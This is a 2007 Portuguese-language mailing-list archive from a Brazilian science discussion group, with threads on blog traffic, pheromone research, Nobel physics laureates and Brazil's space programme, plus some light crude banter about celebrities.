> &mode=related&search=>.
> Se você prestar atenção ao riff de guitarra ao fundo, poderá ver um
> precursor de um dos mais famosos hinos do rock dos anos
> 90<http://www.youtube.com/watch?v=kPQR-OsH0RQ>


SUBJECT: Re: Rock dos componentes eletrônicos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/08/2007 02:19

--- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
> Uma pena que os posts mais visitados do blog continuam sendo o da
> bunda da Jessica Alba e a Angelina Jolie adolescente! :-)

Como assim, "pena que". Viva a Jessica Alba - ainda q ela não tenha
bunda. Viva Angelina Jolie - ainda q não mais adolescente (e ainda bem
q ela não é mais).

> Mas a idéia é agradar o cérebro também.

Sexo não está só no nariz...

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Rock dos componentes eletrônicos
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/08/2007 02:33

On 8/13/07, rmtakata <roberto.takata@bol.com.br> wrote:
> --- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
> > Uma pena que os posts mais visitados do blog continuam sendo o da
> > bunda da Jessica Alba e a Angelina Jolie adolescente! :-)
>
> Como assim, "pena que". Viva a Jessica Alba - ainda q ela não tenha
> bunda. Viva Angelina Jolie - ainda q não mais adolescente (e ainda bem
> q ela não é mais).

Dá o maior trabalho bolar os posts, mas no final, é só colar uma foto
da bunda da Jessica Alba que faz sucesso. E faz meses que coloquei a
bunda dela lá. Acho q nem se o Asimov tivesse um blog teria mais
leitores que um blog com fotos exclusivas da bunda da Jessica Alba.
(No caso, eu não estou me comparando com o Asimov, e a foto da bunda
dela que tenho no blog não é exclusiva. Ainda assim faz mais sucesso).

> > Mas a idéia é agradar o cérebro também.
>
> Sexo não está só no nariz...

Nariz!? :-)

[]

Mori


SUBJECT: Re: Rock dos componentes eletrônicos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/08/2007 02:51

--- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
> Dá o maior trabalho bolar os posts, mas no final, é só colar uma
> foto da bunda da Jessica Alba que faz sucesso. E faz meses que
> coloquei a bunda dela lá. Acho q nem se o Asimov tivesse um blog
> teria mais leitores que um blog com fotos exclusivas da bunda da
> Jessica Alba.
> (No caso, eu não estou me comparando com o Asimov, e a foto da bunda
> dela que tenho no blog não é exclusiva. Ainda assim faz mais
> sucesso).

Claro q faz sucesso. É como colocar a foto do Monstro do Lago Ness ou
do Sasqwatch: ninguém nunca viu. É mais raro do q cachorro com dois
focinhos:
http://oglobo.globo.com/ciencia/mat/2007/08/12/297244853.asp

Simplesmente não existe. Jessica Alba não tem bunda (mas é uma
coisinha mm assim).

> > Sexo não está só no nariz...
>
> Nariz!? :-)

http://www1.folha.uol.com.br/folha/ciencia/ult306u318249.shtml

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Rock dos componentes eletrônicos
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/08/2007 03:22

On 8/13/07, rmtakata <roberto.takata@bol.com.br> wrote:
> --- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
> > Dá o maior trabalho bolar os posts, mas no final, é só colar uma
> > foto da bunda da Jessica Alba que faz sucesso. E faz meses que
> > coloquei a bunda dela lá. Acho q nem se o Asimov tivesse um blog
> > teria mais leitores que um blog com fotos exclusivas da bunda da
> > Jessica Alba.
> > (No caso, eu não estou me comparando com o Asimov, e a foto da bunda
> > dela que tenho no blog não é exclusiva. Ainda assim faz mais
> > sucesso).
>
> Claro q faz sucesso. É como colocar a foto do Monstro do Lago Ness ou
> do Sasqwatch: ninguém nunca viu. É mais raro do q cachorro com dois
> focinhos:
> http://oglobo.globo.com/ciencia/mat/2007/08/12/297244853.asp
>
> Simplesmente não existe. Jessica Alba não tem bunda (mas é uma
> coisinha mm assim).

Huahahaha se bem que prefiro uma não-bunda daquelas porque nunca vai
cair. Só se colocar numa ultracentrífuga.

> > > Sexo não está só no nariz...
> >
> > Nariz!? :-)
>
> http://www1.folha.uol.com.br/folha/ciencia/ult306u318249.shtml

Boa! Aliás, depois de ler a notícia acima, vale assistir de novo (ou
pela primeira vez) o filme "O Perfume - História de um Assassino" (ou
ler o livro).

Vc devia ter um site, Takata, além do Biomagister e afins. Ou alguém
devia compilar as respostas q vc escreve aqui na clist. Aliás,
pensando acho q vou começar a fazer isso.

Mori


SUBJECT: Leões vs elefante
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/08/2007 08:36

Dereck Joubert
Hunting behaviour of lions (Panthera leo) on elephants (Loxodonta
africana) in the Chobe National Park, Botswana
African Journal of Ecology 44 (2), 279–281.
doi:10.1111/j.1365-2028.2006.00626.x

Um vídeo das leoas caçadoras de elefante:
http://br.youtube.com/watch?v=CG7SbjicdzY

The Elephant Eaters of the Savuti
http://www.go2africa.com/botswana/chobe/savuti/legendary-elephant-eaters.asp

E outra cena (muito forte), de um tigre em ação:
http://br.youtube.com/watch?v=pQSlTCAKucM

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Rock dos componentes eletrônicos
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/08/2007 10:12

Também tenho problema semelhante. Frequentemente gasto muito tempo fazendo
pesquisas para um texto do meu blog, mas até o momento a página mais
visitada foi aquela do anúncio do resultado do prêmio das "sete maravilhas
do mundo moderno", matéria que foi publicada em vários sites pelo mundo
afora.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Kentaro Mori" <kentaro.mori@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, August 13, 2007 1:38 AM
Subject: Re: [ciencialist] Rock dos componentes eletrônicos


Obrigado, JV!

Uma pena que os posts mais visitados do blog continuam sendo o da
bunda da Jessica Alba e a Angelina Jolie adolescente! :-)

Mas a idéia é agradar o cérebro também.

Abraços,

Mori

On 8/11/07, J.Victor <j.victor.neto@uol.com.br> wrote:
> Kentaro,
>
> Muito boas as informações a seguir:
>
> O sucessor do Hubble: telescópio especial James
> Webb<http://100nexos.com/arquivo/56>Planejado para ser lançado em
> 2013, o tele...
> Tubo de Rubens e geladeira de Einstein <http://100nexos.com/arquivo/7>
> Faça
> uma série de furos em um tubo,...
>
> Não conhecia. Aliás, como boa parte dos sites que encontra e
> disponibiliza
> por aqui.
>
> Sds,
>
> Victor.
>
> De: ciencialist@yahoogrupos.com.br
> [mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Kentaro Mori
> Enviada em: sábado, 11 de agosto de 2007 04:47
> Para: ciencialist@yahoogrupos.com.br
> Assunto: [ciencialist] Rock dos componentes eletrônicos
>
> Rock dos componentes eletrônicos <http://100nexos.com/arquivo/240>
> Assista ao vídeo <http://100nexos.com/arquivo/240>
>
> "Psyché Rock" de Pierre Henry: não poderia ser mais geek, com
> capacitores,
> resistores e até válvulas e afins voando. A música e o clipe são de 1967
> (!), e inspiraram o tema de
> Futurama<http://www.youtube.com/watch?v=ZAnLXpFwbZI
> <http://www.youtube.com/watch?v=ZAnLXpFwbZI&mode=related&search=>
> &mode=related&search=>.
> Se você prestar atenção ao riff de guitarra ao fundo, poderá ver um
> precursor de um dos mais famosos hinos do rock dos anos
> 90<http://www.youtube.com/watch?v=kPQR-OsH0RQ>




SUBJECT: Re: [ciencialist] Rock dos componentes eletrônicos
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/08/2007 10:39

No Gluon blog o que mais procuram eh sexo, dinheiro e material pirata.
Nao que eu tenha material pirata em meu blog/site, mas dah pra
perceber que alguns chegam ateh ele procurando por isso.

Ah... o pessoal tambem procura por 'tubarao branco'. Querem ver sangue!

:-)

Que tal misturar Jessica Alba, tubarao branco, dinheiro e material
pirata. Formula de sucesso. :-)

Ateh
Luis Brudna
http://www.gluon.com.br/blog/

=-=-=-

On 8/13/07, Alvaro Augusto (L) <alvaro@lunabay.com.br> wrote:
>
> Também tenho problema semelhante. Frequentemente gasto muito tempo fazendo
> pesquisas para um texto do meu blog, mas até o momento a página mais
> visitada foi aquela do anúncio do resultado do prêmio das "sete maravilhas
> do mundo moderno", matéria que foi publicada em vários sites pelo mundo
> afora.
>
> [ ]s
>
> Alvaro Augusto
>
>
>


SUBJECT: Re: Rock dos componentes eletrônicos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/08/2007 14:49

--- Em ciencialist@yahoogrupos.com.br, "Luis Brudna" <luisbrudna@...>
> No Gluon blog o que mais procuram eh sexo, dinheiro e material
> pirata.

O trístico da internê: pornografia, música/video e programa de
computador pirata.

A maior visitação q eu tive para um texto meu foi a respeito do
trabalho de sistemática filogenética de Hennig - ao qual dei o título
oportunista de "Quem matou Lineu?" (perto do final da novela
"Famosidade" exibida pela Rede Grôbo de televisão).

> Que tal misturar Jessica Alba, tubarao branco, dinheiro e material
> pirata. Formula de sucesso. :-)

Bem, eu preferiria eliminar o tubarão, o material pirata e o dinheiro
e deixar mais espaço pra Jessie.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Rock dos componentes eletrônicos
FROM: "Mauro" <bombaspr@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/08/2007 15:24

Olá Takata

http://www1.folha.uol.com.br/folha/ciencia/ult306u318249.shtml

Mauro: Ao que tudo indica somos susceptíveis aos feromonios, mas
particularmente acho que nossa susceptibilidade a eles é baixa (pelo
menos bem mais baixa do que em camundongos). Nós temos um órgão
vomeronasal situado na cavidade nasal que serve exatamente para isto,
comandar a síntese de proteínas receptoras de feromonios, embora ele
seja pouco desenvolvido ou esteja em fase de atrofia evolutiva.

A questão é que isso não é exclusivo do veremonasal, o sistema
olfativo principal também contribui para a resposta a esses químicos.
Há casos de resposta a feromonios que independem deste órgão, como
ocorre em porcos e coelhos. Peixes, por exemplo, respondem normalmente
a feromonios e não possuem órgão vomeronasal.

Qual sua perpectiva a respeito?

Inté+
Mauro



SUBJECT: RES: [ciencialist] Re: Foi para o espaço
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/08/2007 17:05





De: JVictor [mailto:jvoneto@uol.com.br]
Enviada em: segunda-feira, 13 de agosto de 2007 12:33
Para: 'J.Victor'
Assunto: RES: [ciencialist] Re: Foi para o espaço









>Há *muitas* coisas a se criticar no "guvernu" do cefalópodo, mas o
Estadão força a barra ao atribuir a Lula as mazelas do programa
espacial brasileiro. Pra quem tem um pouco de memória, é fácil ver q
não é de 2002 pra cá q a coisa piorou - *sempre* foi complicado.



Não sei força a barra não. Há muita culpa por omissão e incompetência. Não
sei qual o pior dos dois atributos. O então Ministro da área, empurrado
para preencher a vaga, foi no mínimo, omisso. Relatórios técnicos e avisos
nunca faltaram. Mas tem uma coisa que abunda: falta de sensibilidade e
oportunismo político pró Pais. O único oportunismo viável é o pulítiko, de
cada um, que ninguém lá se acha besta. Junte-se a isso as omissões
desastradas dos altos escalões, “gestores” dos processos, com o “ouvido de
mercador” desses que foram eleitos, e dá tudo certinho!... centenas de
família amargando dores atrozes, e ninguém faz nada.

Bem, estou falando também do sistema aéreo brasileiro, que está a reboque
do mesmo bolo!

E assim caminha a humanidade, desde tempos outros, que se perenizam nas
ações pró ativas de menos, que sempre faltam demais.

O novo governo, que veio para resolver as mazelas do anterior, cometeu os
mesmos erros de omissão que tanto criticou e condenou em seu antececessor!


Lembram do apagão no setor elétrico? Que da boca deles saiam cobras e
lagartos, objetivando condenar a omissão e a irresponsabilidade do governo
que queriam assumir?

Que fariam diferente, e todo aquele papo furado?

O programa espacial nos põe, apenas, como incompetentes ou desinteressados,
perante o resto do mundo.

Mas, este, do apagão aéreo, que põe os tais como criminosos, foi algumas
vezes maior, com um ingrediente a mais: sua gigante letalidade...

E ninguém, da área pulítika, até agora, fez o estadardalhaço de mídia que
foi feito no apagão mixuruca anterior, apenas criticou-se moderadamente
as providências que deviam ter sido adotadas, ante relatórios técnicos
existentes, e não foram. Também, pudera!

Agora, o povo, que elegeu e reelegeu tudo isso que aí está, só tem uma
coisa a fazer: pssiu!, calados, quietinhos; escondam sua própria
vergonha, se puderem. Se é que ainda resta alguma.

De lascar, contudo, é que não há uma luz no fim do túnel, em termos de
políticos sérios e competentes. Putz q.p.q!


Acho que iremos é para o espaço, já, já!



É off-topic, assumo e não dá para camulflar. Mas aproveitei a esteira da
discussão, que de ferro tenho pouco. Que a forca me seja rápida.



Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: domingo, 12 de agosto de 2007 23:24
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: Foi para o espaço



--- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> , "SILVIO CORDEIRO"
> Foi para o espaço, editorial de "O Estado de SP"
[...]
> A serem procedentes as reclamações e denúncias dos
> pesquisadores, a bagunça que é a marca do governo Lula chegou ao
> espaço.
> (O Estado de SP, 31/7)

Há *muitas* coisas a se criticar no "guvernu" do cefalópodo, mas o
Estadão força a barra ao atribuir a Lula as mazelas do programa
espacial brasileiro. Pra quem tem um pouco de memória, é fácil ver q
não é de 2002 pra cá q a coisa piorou - *sempre* foi complicado.

Lembram-se de 1999? Um VLS q lançaria o satélite Saci-1 tb explodiu
(teve seu lançamento abortado por falha no sistema de navegação).

Lula tem culpa de *continuar* a contingenciar as verbas já reduzidas
do programa - embora possamos discutir as questões prioritárias de C&T
(ou mm dentro da área aeroespacial). Mas o jornalão paulistano fez jus
ao papo da tal "mídia golpista" inventada pelos esquerdistas mais
empedernidos.

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Rock dos componentes eletrônicos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/08/2007 17:50

--- Em ciencialist@yahoogrupos.com.br, "Mauro" <bombaspr@...> escreveu
> A questão é que isso não é exclusivo do veremonasal, o sistema
> olfativo principal também contribui para a resposta a esses químicos.
> Há casos de resposta a feromonios que independem deste órgão, como
> ocorre em porcos e coelhos. Peixes, por exemplo, respondem normalmente
> a feromonios e não possuem órgão vomeronasal.
>
> Qual sua perpectiva a respeito?

Isso é relativamente bem conhecido. O q foi mais ou menos
surpreendente é q - sem alteração da arquitetura cerebral, a resposta
das fêmeas mudou completamente. Ela passou a responder mais ou menos
como um macho. E não simplesmente como uma fêmea desinteressada em sexo.

[]s,

Roberto Takata



SUBJECT: Nobel de Fisica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/08/2007 19:09

Atendendo à pedidos, coloquei no Imperdível a lista dos Ganhadores do Prêmio Nobel de Física até ano 2000.
Está em: http://www.feiradeciencias.com.br/premio_nobel.asp

Quem tem, seguindo o estilo do Imperdível, os ganhadores de 2001 até 2007?
Agradeço,
[]'

PS: Apesar de Jéssica Alba, tubarão branco, dinheiro e material pirata como fonte de sucessos em sites e blogs, não posso reclamar. O Imperdível está com 'frota diária' de 30 000 consultas/dia e deve, até novembro atingir picos de 50 000! Ano passado o pico deu-se em 41 000. Para um site de Ciência até que não está mal.
Por exemplo, o contador agora (19:07h - 13/08/2007) acusa 37 517 427 consultas. Amanhã, no mesmo horário, veremos ...

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br
===========================


SUBJECT: Re: Nobel de Fisica
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/08/2007 20:25

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Atendendo à pedidos, coloquei no Imperdível a lista dos Ganhadores
do Prêmio Nobel de Física até ano 2000.
> Está em: http://www.feiradeciencias.com.br/premio_nobel.asp
>
> Quem tem, seguindo o estilo do Imperdível, os ganhadores de 2001 até
> 2007?

Tem no sítio do prêmio: www.nobel.se

O Jucelino da Luz tem a lista dos vencedores até o ano 12.349. Mas ele
revela somente *depois* da academia sueca - creio q seja pra não criar
constrangimentos.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Foi para o espaço
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/08/2007 09:29

Entrando na esteira da discussão política, eu particularmente acho que o
governo atual está piorzinho sim, também na área espacial. Ao menos, antes a
derivada era positiva... Agora o programa espacial brasileiro foi chutado da
estação espacial, o que era pra ser um astronauta brasileiro virou turista
espacial e o programa de foguetes ficou paralisado depois da explosão do
VLS.

Seilá. São minhas impressões só.

Shridhar
http://entropicando.blogspot.com

On 8/13/07, J.Victor <j.victor.neto@uol.com.br> wrote:
>
>
>
> De: JVictor [mailto:jvoneto@uol.com.br <jvoneto%40uol.com.br>]
> Enviada em: segunda-feira, 13 de agosto de 2007 12:33
> Para: 'J.Victor'
> Assunto: RES: [ciencialist] Re: Foi para o espaço
>
> >Há *muitas* coisas a se criticar no "guvernu" do cefalópodo, mas o
> Estadão força a barra ao atribuir a Lula as mazelas do programa
> espacial brasileiro. Pra quem tem um pouco de memória, é fácil ver q
> não é de 2002 pra cá q a coisa piorou - *sempre* foi complicado.
>
> Não sei força a barra não. Há muita culpa por omissão e incompetência. Não
> sei qual o pior dos dois atributos. O então Ministro da área, empurrado
> para preencher a vaga, foi no mínimo, omisso. Relatórios técnicos e avisos
> nunca faltaram. Mas tem uma coisa que abunda: falta de sensibilidade e
> oportunismo político pró Pais. O único oportunismo viável é o pulítiko, de
> cada um, que ninguém lá se acha besta. Junte-se a isso as omissões
> desastradas dos altos escalões, "gestores" dos processos, com o "ouvido de
> mercador" desses que foram eleitos, e dá tudo certinho!... centenas de
> família amargando dores atrozes, e ninguém faz nada.
>
> Bem, estou falando também do sistema aéreo brasileiro, que está a reboque
> do mesmo bolo!
>
> E assim caminha a humanidade, desde tempos outros, que se perenizam nas
> ações pró ativas de menos, que sempre faltam demais.
>
> O novo governo, que veio para resolver as mazelas do anterior, cometeu os
> mesmos erros de omissão que tanto criticou e condenou em seu antececessor!
>
> Lembram do apagão no setor elétrico? Que da boca deles saiam cobras e
> lagartos, objetivando condenar a omissão e a irresponsabilidade do governo
> que queriam assumir?
>
> Que fariam diferente, e todo aquele papo furado?
>
> O programa espacial nos põe, apenas, como incompetentes ou
> desinteressados,
> perante o resto do mundo.
>
> Mas, este, do apagão aéreo, que põe os tais como criminosos, foi algumas
> vezes maior, com um ingrediente a mais: sua gigante letalidade...
>
> E ninguém, da área pulítika, até agora, fez o estadardalhaço de mídia que
> foi feito no apagão mixuruca anterior, apenas criticou-se moderadamente
> as providências que deviam ter sido adotadas, ante relatórios técnicos
> existentes, e não foram. Também, pudera!
>
> Agora, o povo, que elegeu e reelegeu tudo isso que aí está, só tem uma
> coisa a fazer: pssiu!, calados, quietinhos; escondam sua própria
> vergonha, se puderem. Se é que ainda resta alguma.
>
> De lascar, contudo, é que não há uma luz no fim do túnel, em termos de
> políticos sérios e competentes. Putz q.p.q!
>
> Acho que iremos é para o espaço, já, já!
>
> É off-topic, assumo e não dá para camulflar. Mas aproveitei a esteira da
> discussão, que de ferro tenho pouco. Que a forca me seja rápida.
>
> Victor.
>
> De: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>[mailto:
> ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>]
> Em nome de rmtakata
> Enviada em: domingo, 12 de agosto de 2007 23:24
> Para: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Assunto: [ciencialist] Re: Foi para o espaço
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> <mailto:ciencialist%40yahoogrupos.com.br> , "SILVIO CORDEIRO"
> > Foi para o espaço, editorial de "O Estado de SP"
> [...]
> > A serem procedentes as reclamações e denúncias dos
> > pesquisadores, a bagunça que é a marca do governo Lula chegou ao
> > espaço.
> > (O Estado de SP, 31/7)
>
> Há *muitas* coisas a se criticar no "guvernu" do cefalópodo, mas o
> Estadão força a barra ao atribuir a Lula as mazelas do programa
> espacial brasileiro. Pra quem tem um pouco de memória, é fácil ver q
> não é de 2002 pra cá q a coisa piorou - *sempre* foi complicado.
>
> Lembram-se de 1999? Um VLS q lançaria o satélite Saci-1 tb explodiu
> (teve seu lançamento abortado por falha no sistema de navegação).
>
> Lula tem culpa de *continuar* a contingenciar as verbas já reduzidas
> do programa - embora possamos discutir as questões prioritárias de C&T
> (ou mm dentro da área aeroespacial). Mas o jornalão paulistano fez jus
> ao papo da tal "mídia golpista" inventada pelos esquerdistas mais
> empedernidos.
>
> []s,
>
> Roberto Takata
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Nobel de Fisica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/08/2007 12:31

Ontem escrevi:
"Por exemplo, o contador agora (19:07h - 13/08/2007) acusa 37 517 427 consultas. Amanhã, no mesmo horário, veremos ..."

Agora, (12:25h - 14/08/2007) acusa 37 541 712, o que me dá 24 285 consultas em 15:32h! E ainda faltam praticamente 7 horas para o fechamento do 'dia'!

E sem bunda alguma! :-))))

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 13 de agosto de 2007 19:09
Assunto: [ciencialist] Nobel de Fisica




SUBJECT: Re: [ciencialist] Re: Nobel de Fisica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/08/2007 12:38

Oi Roberto,

que 'mágica' tem que se fazer para conseguir encontrar nesse link que enviou 'onde está a lista' dos ganhadores de Física? Eis a vantagem do Imperdível sobre os demais sites! Lá vc acha! :-))
2001 - 2007
Ah! Claro que a próxima mensagem será para vc traduzir o que eles fizeram! :-))

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 13 de agosto de 2007 20:25
Assunto: [ciencialist] Re: Nobel de Fisica


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Atendendo à pedidos, coloquei no Imperdível a lista dos Ganhadores
do Prêmio Nobel de Física até ano 2000.
> Está em: http://www.feiradeciencias.com.br/premio_nobel.asp
>
> Quem tem, seguindo o estilo do Imperdível, os ganhadores de 2001 até
> 2007?

Tem no sítio do prêmio: www.nobel.se




SUBJECT: Re: Nobel de Fisica
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/08/2007 13:32

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> que 'mágica' tem que se fazer para conseguir encontrar nesse link
> que enviou 'onde está a lista' dos ganhadores de Física?


http://nobelprize.org/nobel_prizes/lists/all/all_laureates_c.html

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] Re: Nobel de Física
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/08/2007 13:34

http://nobelprize.org/nobel_prizes/physics/laureates/

[]s
Ricardo

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: terça-feira, 14 de agosto de 2007 12:39
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: Nobel de Fisica

Oi Roberto,

que 'mágica' tem que se fazer para conseguir encontrar nesse link que enviou
'onde está a lista' dos ganhadores de Física? Eis a vantagem do Imperdível
sobre os demais sites! Lá vc acha! :-))
2001 - 2007
Ah! Claro que a próxima mensagem será para vc traduzir o que eles fizeram!
:-))

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 13 de agosto de 2007 20:25
Assunto: [ciencialist] Re: Nobel de Fisica


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Atendendo à pedidos, coloquei no Imperdível a lista dos Ganhadores
do Prêmio Nobel de Física até ano 2000.
> Está em: http://www.feiradeciencias.com.br/premio_nobel.asp
>
> Quem tem, seguindo o estilo do Imperdível, os ganhadores de 2001 até
> 2007?

Tem no sítio do prêmio: www.nobel.se




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SUBJECT: Re: Foi para o espaço
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/08/2007 13:49

--- Em ciencialist@yahoogrupos.com.br, "Shridhar Jayanthi"
> Agora o programa espacial brasileiro foi chutado da
> estação espacial

E isso não é apenas porq no governo Lula nada foi feito. Mas tb porq
no governo FFHH nada foi feito. Foram 14 anos sem dar um tostão furado.

No governo do príncipe da Sorbonne nem turista espacial houve. Embora
a ida de Pontes ao espaço - no q tem de bom e no q tem de ruim - possa
ser creditada mais ou menos igualmente aos dois governos. Não foi na
gestão cefalópoda q Pontes iniciou seu treinamento.

> o programa de foguetes ficou paralisado depois da explosão do
> VLS.

O programa brasileiro tb ficou parado com a explosão do VLS1 em 1999.

Claro q o acidente de 2003 ganhou um tom de tragédia por conta da
perda de vidas humanas. De todo modo, são riscos q há - podem ser
maiores ou menores de acordo com procedimentos e verbas para
segurança, mas jamais é zero e é significativamente diferente de zero
- ou a Nasa tinha verba tão pequena para perder Challenger em 1986 e a
Columbia em 2003?

Mas não há indícios de q o programa espacial brasileiro ficou pior com
o governo Loligo, continua tão ruim qto (ou tão bom qto).

Victor:
> > Não sei força a barra não. Há muita culpa por omissão e
> > incompetência.

E isso *sempre* houve. O q se pode acusar o molusco-mór é de ter
*continuado* com isso e não q isso tenha *surgido* em seu governo q é
o q o editorial do estadão-ão-ão dá a entender.

-----------------------
Há muito o q se criticar a respeito dos governos do Farol de
Alexandria e do sapo barbudo, sim, muitas coisas a se criticar. Mas há
coisas boas. (Opinião minha, nos dois casos, as coisas boas superam as
ruins. Claro, outros acharão q um foi melhor do q outro, q as coisas
ruins superaram em muito as boas. Eu, por exemplo, acharia q o
Mensalão, a despeito das demais coisas boas feitas, seria o suficiente
para impixar o presidente eneadáctilo. Mas já foi e houve outra
eleição. Não podemos usar outra desculpa agora para tentar fazer
justiça. Bem, independentemente disso, não podemos é acusar os
governos de coisas das quais eles não têm culpa. Isso seria
desonestidade intelectual. Se estão cansados, tudo bem, mas cansaço
não pode ser desculpa pra preguiça mental.)
------------------------

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Rock dos componentes eletrônicos
FROM: "Mauro" <bombaspr@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/08/2007 13:59

Olá Takata.

O q foi mais ou menos surpreendente é q - sem alteração da arquitetura
cerebral, a resposta das fêmeas mudou completamente.

Mauro: Mas isso não significa necessariamente que o mesmo aconteça com
todos os animais, sobretudo com nossa espécie que aparentemente não é
tão suscetível a feromonios.

Inté+
Mauro



SUBJECT: Re: [ciencialist] Re: Nobel de Física
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/08/2007 17:51

Versao da wikipedia

http://pt.wikipedia.org/wiki/Nobel_de_F%C3%ADsica

http://en.wikipedia.org/wiki/Nobel_Prize_in_Physics
(em ingles)


Ateh
Luis Brudna
http://www.gluon.com.br

=-=


SUBJECT: Prédio de Arquimedes
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 14/08/2007 18:46

Prédio de Arquimedes
<http://100nexos.com/arquivo/241><http://100nexos.com/arquivo/241#comments>


Os arquitetos desse moderno banco na Califórnia podem ter desavisadamente
incorporado o espírito de
Arquimedes<http://web.mit.edu/2.009/www/experiments/deathray/10_ArchimedesResult.html>,
em um caso de psicoarquitetura, porque no verão é resultado é este:

*Repare na grama*.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Implosão controlada em 11 de setembro?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 14/08/2007 18:48

Implos�o controlada em 11 de setembro? <http://100nexos.com/arquivo/246>
Assista ao v�deo <http://100nexos.com/arquivo/246>

No v�deo acima voc� confere a implos�o da "Landmark Tower", com trinta
andares e mais de cem metros de altura, realizada em mar�o de 2006. Websites
